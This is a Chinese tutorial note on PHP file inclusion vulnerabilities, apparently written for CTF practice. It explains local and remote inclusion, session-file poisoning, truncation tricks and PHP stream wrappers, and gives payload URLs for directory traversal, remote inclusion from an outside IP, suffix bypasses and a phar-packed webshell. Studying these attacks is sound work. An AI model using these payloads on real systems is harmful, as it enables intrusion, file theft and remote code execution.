文件包含
文件包含漏洞:
前言:
关于文件包含漏洞,我一直都没有进行一个比较系统的总结,现在我就对基于PHP语言下的文件包含漏洞进行对包含原理的笔记。
原理:
这个漏洞出现的原理,主要和现在一般采用的模块化工作方式有关系。为了保证开发的效率以及后期改正的情况,程序工作者往往采用模块化的方式对程序进行一个编写,这样在后期出现问题的时候,就可以直接对模块进行维修,而不用对所有代码进行重新审计。这样就保证了代码的简洁性。
基于以上原理,在对于模块化的代码文件进行引用的时候,会需要使用一些特定的函数对文件进行一个“包含”。同时,为了保证程序的灵活性,进行包含的文件往往都会是一个可变的参数。
这就给黑客的攻击提供了空间。
黑客攻击往往会对包含的文件进行修改,使得被包含的文件内容超出程序编写者的预想,而导致出现风险。
文件包含函数(PHP):
在PHP中,有四种函数可以使用文件包含的效果:
include() |
这里我们可以通过手册来查询一下这几个函数的作用:
https://www.php.net/manual/zh/index.php
首先是include(),手册中是这么写的:include
表达式包含并运行指定文件。
这一点也同时适用于require()函数。
这两个函数的主要区别只是在于,include()函数在运行时,如果出错了,会只是产生一个warning,然后继续运行后面的脚本。
但是require()函数在出错的时候,会直接产生一个**E_COMPILE_ERROR
的错误,导致程序直接停止运行。
而剩下的两个函数,include_once()于require_once()和上面的函数基本相同,只是它们只会对同一个文件进行一次包含。因此,常用于for、while这种循环中。
文件包含漏洞常常出现的作用:
1、本地文件包含:
这个漏洞的攻击方式通常需要配合目录穿越漏洞进行一同操作。
通过../来进行本地文件的读取,通过修改文件路径来改变对文件的包含,以此获取一些隐私的信息,或是flag。
常见敏感路径:
windows:
c:\boot.ini // 查看系统版本 |
Linux:
/etc/passwd // 账户信息 |
这里可以通过对于文件路径的推测来进行对于文件的读取。
session文件包含漏洞:
这个漏洞属于是文件包含漏洞的二次衍生漏洞。
首先是关于session文件的说明:
session文件,基本上可以理解为是一个临时的,存放在服务器端的容器,当用户没有关闭浏览器之前,其中的东西都是存在的。这个容器一般用于存储用户的一些信息。当用户进行访问的时候,服务器会为每个用户分配唯一的session。
这个文件和cookie不一样的地方就是,这个文件都是存储在服务器上的,而cookie文件是存储在用户的主机上的。
本质上,采用session是为了对用户的浏览状态进行一个保留,当在同一域名中切换时,可以对用户当前的状态进行保留,同时可以避免用户更改cookie文件导致出现不必要的危险。
对于session的存储位置,一般可以直接通过phpinfo()去获取,通过直接查看phpinfo()中session.save_path的部分,就可以看见对应的路径。
一般来说,在Linux系统中,会默认存储在/var/lib/php/session的目录下面。
而在windows系统中,默认C:\WINDOWS\Temp或集成环境下的tmp文件夹里
可以通过代码对session中的内容进行控制,传入恶意代码。
eg:
|
可以通过这个例子来看一下用来控制session文件的代码。
首先是来看一下session_start()这个函数的作用,在官方文档(https://www.php.net/manual/zh/function.session-start.php)中写道:
session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。
这里可以看出来,如果要创建一个session文件,就要首先用这个函数进行一个类似于初始化的操作(即是之前写的创建新会话或重用现有会话)
然后对代码后面进行分析:
将一个值通过get方式进行传参,然后使用创建一个超全局变量,将其值赋为传入的参数。
通常,在PHP脚本结束的时候,会将未被销毁的session变量保存在服务器的一个路径文件下
也就是在执行完以上的代码之后,将get获取的变量存入到session文件中。
这时我们可以知道的是,session文件名会被命名为sess_+sessionid的格式。
sessionid被存放在服务器内存和客户机的cookie里面,可以通过开发者模式看见。
这就可以发现一个问题,因为没有对传入的ctfs这个参数进行过滤,所以会导致可以传入小马进行getshell。
例如直接将传入的值改为 ,恶意代码就会被保存至服务器文件中,此时如果存在文件包含漏洞,就可以将session文件进行包含解析为php内容。
导致getshell。
2、有限制本地文件包含漏洞:
%00截断:
这里需要使用到PHP的一个版本漏洞,即文件名的%00截断:
条件:1、magic_quotes_gpc = Off 2、php版本<5.3.4
通常采用的绕过方式:
|
payload:
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00 |
代码分析:
这个代码很简单,可以看见的是,$filename变量被通过get方式传入一个值,然后通过与.html进行拼接后,形成需要被包含的文件名。
因此,当传入构建的payload的时候,会在检测到boot.ini%00的时候被截断,就将包含的文件变为了boot.ini。
路径长度截断:
条件:windows OS,点号需要长于256;linux OS 长于4096
这里是利用的两种操作系统下的目录长度限制。
Windows下目录最大长度为256个字节
Linux下目录最大长度为4096个字节
超过目录最大长度的时候,超出的部分会被丢弃。
测试代码:
|
代码解释和之前一样
payload:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ |
原理:
这里是通过使用文件路径中的./表示本文件,来创造垃圾字段长度,来对后面.html文件后缀进行截断。
点截断:
基本原理类似于长度截断,直接放payload了:
http://www.ctfs-wiki.com/FI/FI.php |
点符号超过256字节即可在windows系统下进行截断。
3、远程文件包含漏洞:
PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。
allow_url_fopen配置作用:该配置设置为off的时候,用户将不能通过url打开文件。
allow_url_include配置作用:当该配置被设置为了off的时候,访问者将不能包含本网站之外的文件。
通过对于上面两个的配置了解,应该就大概能知道为什么会导致远程文件包含漏洞的产生。
从PHP5.2开始,allow_url_include()就被默认为是关闭的了,而allow_url_fopen却始终是开启的。
1、无限制远程文件包含漏洞:
|
payload:
http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt |
解释一下上述payload:
这里是通过get方式将一个文件对于的url链接作为文件名传入了进去,再对不在自己服务器上的文件进行了一个包含文件。
然后.txt文件中的PHP探针被执行,成功的getshell。
有限制远程文件包含漏洞绕过思路:
include($_GET['filename'] . ".html"); |
简单的参考代码。
分析:当尝试通过远程文件包含的时候,会在文件的后缀处拼接一个.html,导致文件的后缀出现改变。
这里列出比较常见的几种绕过方式:
1、问号绕过:
这种绕过的方式比较简单,就是在文件对应的url链接部分的后面加上一个?就可以了,这样就会出现一个截断的效果。
payload如下:
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt? |
2、#号绕过:
同上,但是要注意对#号进行url编码:
payload:
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt&23 |
这里的%23就是#的url编码格式。
3、空格绕过:
payload:
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20 |
同上,这里要对空格进行url编码,变成%20。
4、PHP伪协议:
这里是比较重要的地方,主要是对php伪协议的了解。
这里首先放一个师傅的文章https://arg1nt.gitee.io/2021/03/undefined/php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E8%BF%9B%E9%98%B6/
这是一篇比较实用的总结。
要进行对PHP伪协议的学习,首先要对伪协议有一个了解,这里我把PHP使用手册贴上来,看到这里的大家可以去翻阅一下。
https://www.php.net/manual/zh/wrappers.php.php
一般来说主要会遇到的PHP伪协议有这样几种:
file://
php://
phar://
zlib://
对于开始学PHP伪协议的人,我建议还是首先答题的了解一下伪协议的效果以及作用能力。
可以考虑参考一下这一个文章:https://m.php.cn/article/430458.html
测试用代码:
|
php://伪协议:
按照上面的图片可知,php://协议主要是用于提供访问输入/输出流的方法,同时也将会允许访问PHP的错误描述符,内存、磁盘备份的临时文件流,以及可以操作其他读写文件资源的过滤器。
对于php:// 这个协议来说,是支持多种的过滤器嵌套的,也就是可以使用多个过滤器。
php://filter(本地磁盘文件读取)
这个伪协议是一个元封装器,设计着用于数据流打开的时候,“筛选过滤“应用,可以对本地磁盘文件进行读写。
简单来说就是可以用于读取文件源代码,一般在知道网站路径的情况下使用。
比较特殊的地方是,filter再两个设置都是off的时候还是可以使用。
格式:
php://filter/resource=[文件名] |
payload:
?filename=php://filter/convert.base64-encode/resource=xxx.php ? |
通过以上payload可以对文件进行一个读取。(针对php文件会需要使用base64编码进行输出,否则会直接将源代码当作PHP代码执行,会看不见内容)
此时返回的将是对应.php文件的base64加密后的代码内容。对于不在同一目录下的文件,需要写好相对路径
无论是post还是get方式都可以使用。
php://input
这里引用以下php手册中的描述:
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活
always_populate_raw_post_data
潜在需要更少的内存。enctype="multipart/form-data"
的时候 php://input 是无效的。
allow_url_fopen和allow_url_include这两个参数都要处于打开的状态。但是使用enctype=”multipart/form-data”的时候php://input是无效的。
具体的效果就是可以将POST请求中的数据作为PHP代码来执行,但是需要使用include()函数进行来打开。
主要做法是将GET部分修改为php://input,然后POST部分修改为想要传输的PHP代码。
file://伪协议:
通过file协议可以访问到本地文件系统,同时可以读取到文件的内容。
引用PHP手册:
文件系统 是 PHP 使用的默认封装协议,展现了本地文件系统。 当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。
在某些函数里,例如 fopen() 和 file_get_contents(),
include_path
会可选地搜索,也作为相对的路径。
这个协议本身不受allow_url_fopen和allow_url_include这两个参数的影响。
同时,传入的文件路径只能是绝对路径。
data://伪协议:
自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效。
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。
也就是相当于是一个命令执行的语句,通过url进行传入
需要allow_url_include,allow_url_fopen两个配置参数on。
类似于php://input, 可用于file_get_contents()绕过。
这里是在一个使用方法。
值得注意的是上面的提示,如果不将等号和加号变成url编码形式,是真的会识别不了。
phar://伪协议:
引用一下PHP手册上的介绍:
phar:// 数据流包装器自 PHP 5.3.0 起开始有效。详细的描述可参见 Phar 数据流包装器。
这个函数就是PHP中解开压缩包的一个函数,不管后缀是什么,都可以作为压缩包来进行解压。
这里比较主要的用法就是首先写一个一句话木马,然后,再把木马变成一个zip格式的压缩包,将后缀改变为jpg,png格式,然后再把它传上去。
接下来就使用phar在url中进行一句话木马的访问,基本格式如下:
?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
<?php |
测试代码
payload:
http://www.ctfs-wiki.com/FI/FI.php?filename=phar://shell.jpg/shell.php |
这样就将shell.php文件进行了一个文件包含。
zip://伪协议:
zlib://
bzip2://
zip://
以上三个伪协议的效果是一样的。
zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 不建议使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 替代。
compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。
ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用
'password'
选项设置密码。
以上来自PHP手册。
zip://和phar://类似,但是用法不同。
使用格式:
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
eg:zip://xxx.png#shell.php
使用条件:
条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
也就是在url中,要对#进行编码。